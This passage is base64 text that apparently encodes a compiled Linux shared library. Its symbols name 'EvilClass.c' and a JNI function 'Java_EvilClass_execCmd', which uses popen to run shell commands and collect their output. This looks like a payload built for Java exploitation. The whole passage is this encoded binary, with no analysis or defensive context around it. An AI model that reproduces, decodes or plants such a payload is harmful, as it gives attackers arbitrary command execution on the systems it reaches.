AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEiD7AhIiwXdLwAASIXAdAL/0EiDxAjDAAAAAAAAAAAA/zXiLwAA/yXkLwAADx9AAP8l4i8AAGgAAAAA6eD/JdovAABoAQAAAOnQ/yXSLwAAaAIAAADpwP8lyi8AAGgDAAAA6bD/JcIvAABoBAAAAOmg/yW6LwAAaAUAAADpkP8lsi8AAGgGAAAA6YD/JVIvAABmkAAAAAAAAAAASI09oS8AAEiNBZovAABIOfh0FUiLBRYvAABIhcB0Cf/gDx+AAAAAAMMPH4AAAAAASI09cS8AAEiNNWovAABIKf5IifBIwe4/SMH4A0gBxkjR/nQUSIsF5S4AAEiFwHQI/+BmDx9EAADDDx+AAAAAAIA9MS8AAAB1L1VIgz3GLgAAAEiJ5XQMSIs9Ei8AAOhd6GjGBQkvAAABXcMPH4AAAAAAww8fgAAAAADpe1VIieVIgewgMAAASIm96M///0iJteDP//9Ii4Xoz///SI01dA4AAEiJx+js/v//SIlF+EiDffgAdT24AAAAAOtXSItV+EiNhfDP//++gAAAAEiJx+iS/v//SIXAdBlIjZXwz///SIuF4M///0iJ1kiJx+i0/v//SItF+EiJx+h4/v//hcB0ukiLRfhIicfoOP7//7gBAAAAycNVSInlSIHsoDAAAEiJvXjP//9IibVwz///SImVaM///0iLhXjP//9IiwBMi4BIBQAASIuNaM///0iLhXjP//+6AAAAAEiJzkiJx0H/0EiJRfhIx4Xwz///AAAAAEjHhfjP//8AAAAASI2FAND//7rwLwAAvgAAAABIicfowf3//0iNlfDP//9Ii0X4SInWSInH6Nv9//9Ix4WAz///AAAAAEjHhYjP//8AAAAASMeFkM///wAAAABIx4WYz///AAAAAEjHhaDP//8AAAAASMeFqM///wAAAABIx4Wwz///AAAAAEjHhbjP//8AAAAASMeFwM///wAAAABIx4XIz///AAAAAEjHhdDP//8AAAAASMeF2M///wAAAADHheDP//8AAAAASI2V8M///0iNhYDP//9IidZIicfoVP3//0iLhXjP//9IiwBIi4g4BQAASI2VgM///0iLhXjP//9IidZIicf/0UiJRfBIi0XwycMAAABIg+wISIPECMMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAByAAAAARsDOygAAAAEAAAAHPD//0QAAACc8P//bAAAAGHx//+EAAAA+/H//6QAAAAUAAAAAAAAAAF6UgABeBABGwwHCJABAAAkAAAAHAAAANDv//+AAAAAAA4QRg4YSg8LdwiAAD8aOyozJCIAAAAAFAAAAEQAAAAo8P//CAAAAAAAAAAAAAAAHAAAAFwAAADV8P//mgAAAABBDhCGAkMNBgKVDAcIAAAcAAAAfAAAAE/x//9uAQAAAEEOEIYCQw0GA2kBDAcIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgEQAAAAAAACARAAAAAAAAAQAAAAAAAACZAAAAAAAAAAwAAAAAAAAAABAAAAAAAAANAAAAAAAAAHATAAAAAAAAGQAAAAAAAAAQPgAAAAAAABsAAAAAAAAACAAAAAAAAAAaAAAAAAAAABg+AAAAAAAAHAAAAAAAAAAIAAAAAAAAAPX+/28AAAAAYAIAAAAAAAAFAAAAAAAAAMADAAAAAAAABgAAAAAAAACIAgAAAAAAAAoAAAAAAAAArwAAAAAAAAALAAAAAAAAABgAAAAAAAAAAwAAAAAAAAAAQAAAAAAAAAIAAAAAAAAAqAAAAAAAAAAUAAAAAAAAAAcAAAAAAAAAFwAAAAAAAABYBQAAAAAAAAcAAAAAAAAAsAQAAAAAAAAIAAAAAAAAAKgAAAAAAAAACQAAAAAAAAAYAAAAAAAAAP7//28AAAAAkAQAAAAAAAD///9vAAAAAAEAAAAAAAA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kc29faGFuZGxlAF9EWU5BTUlDAF9fR05VX0VIX0ZSQU1FX0hEUgBfX1RNQ19FTkRfXwBfR0xPQkFMX09GRlNFVF9UQUJMRV8AX2luaXQAX0lUTV9kZXJlZ2lzdGVyVE1DbG9uZVRhYmxlAHBjbG9zZUBHTElCQ18yLjIuNQBtZW1zZXRAR0xJQkNfMi4yLjUAZmdldHNAR0xJQkNfMi4yLjUAZmVvZkBHTElCQ18yLjIuNQBfX2dtb25fc3RhcnRfXwBleGVjbWQASmF2YV9FdmlsQ2xhc3NfZXhlY0NtZABwb3BlbkBHTElCQ18yLjIuNQBzdHJjYXRAR0xJQkNfMi4yLjUAX0lUTV9yZWdpc3RlclRNQ2xvbmVUYWJsZQBfX2N4YV9maW5hbGl6ZUBHTElCQ18yLjIuNQAALnN5bXRhYgAuc3RydGFiAC5zaHN0cnRhYgAubm90ZS5nbnUuYnVpbGQtaWQALmdudS5oYXNoAC5keW5zeW0ALmR5bnN0cgAuZ251LnZlcnNpb24ALmdudS52ZXJzaW9uX3IALnJlbGEuZHluAC5yZWxhLnBsdAAuaW5pdAAucGx0LmdvdAAudGV4dAAuZmluaQAucm9kYXRhAC5laF9mcmFtZV9oZHIALmVoX2ZyYW1lAC5pbml0X2FycmF5AC5maW5pX2FycmF5AC5keW5hbWljAC5nb3QucGx0AC5kYXRhAC5ic3MALmNvbW1lbnQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGwAAAAcAAAACAAAAAAAAADgCAAAAAAAAOAIAAAAAAAAkAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAC4AAAD2//9vAgAAAAAAAABgAgAAAAAAAGACAAAAAAAAKAAAAAAAAAADAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAA4AAAACwAAAAIAAAAAAAAAiAIAAAAAAACIAgAAAAAAADgBAAAAAAAABAAAAAEAAAAIAAAAAAAAABgAAAAAAAAAQAAAAAMAAAACAAAAAAAAAMADAAAAAAAAwAMAAAAAAACvAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAEgAAAD///9vAgAAAAAAAABwBAAAAAAAAHAEAAAAAAAAGgAAAAAAAAADAAAAAAAAAAIAAAAAAAAAAgAAAAAAAABVAAAA/v//bwIAAAAAAAAAkAQAAAAAAACQBAAAAAAAACAAAAAAAAAABAAAAAEAAAAIAAAAAAAAAAAAAAAAAAAAZAAAAAQAAAACAAAAAAAAALAEAAAAAAAAsAQAAAAAAACoAAAAAAAAAAMAAAAAAAAACAAAAAAAAAAYAAAAAAAAAG4AAAAEAAAAQgAAAAAAAABYBQAAAAAAAFgFAAAAAAAAqAAAAAAAAAADAAAAFQAAAAgAAAAAAAAAGAAAAAAAAAB4AAAAAQAAAAYAAAAAAAAAABAAAAAAAAAAEAAAAAAAABcAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAcwAAAAEAAAAGAAAAAAAAACAQAAAAAAAAIBAAAAAAAACAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAAH4AAAABAAAABgAAAAAAAACgEAAAAAAAAKAQAAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAACHAAAAAQAAAAYAAAAAAAAAsBAAAAAAAACwEAAAAAAAAL0CAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAjQAAAAEAAAAGAAAAAAAAAHATAAAAAAAAcBMAAAAAAAAJAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAJMAAAABAAAAAgAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAACbAAAAAQAAAAIAAAAAAAAABCAAAAAAAAAEIAAAAAAAACwAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAqQAAA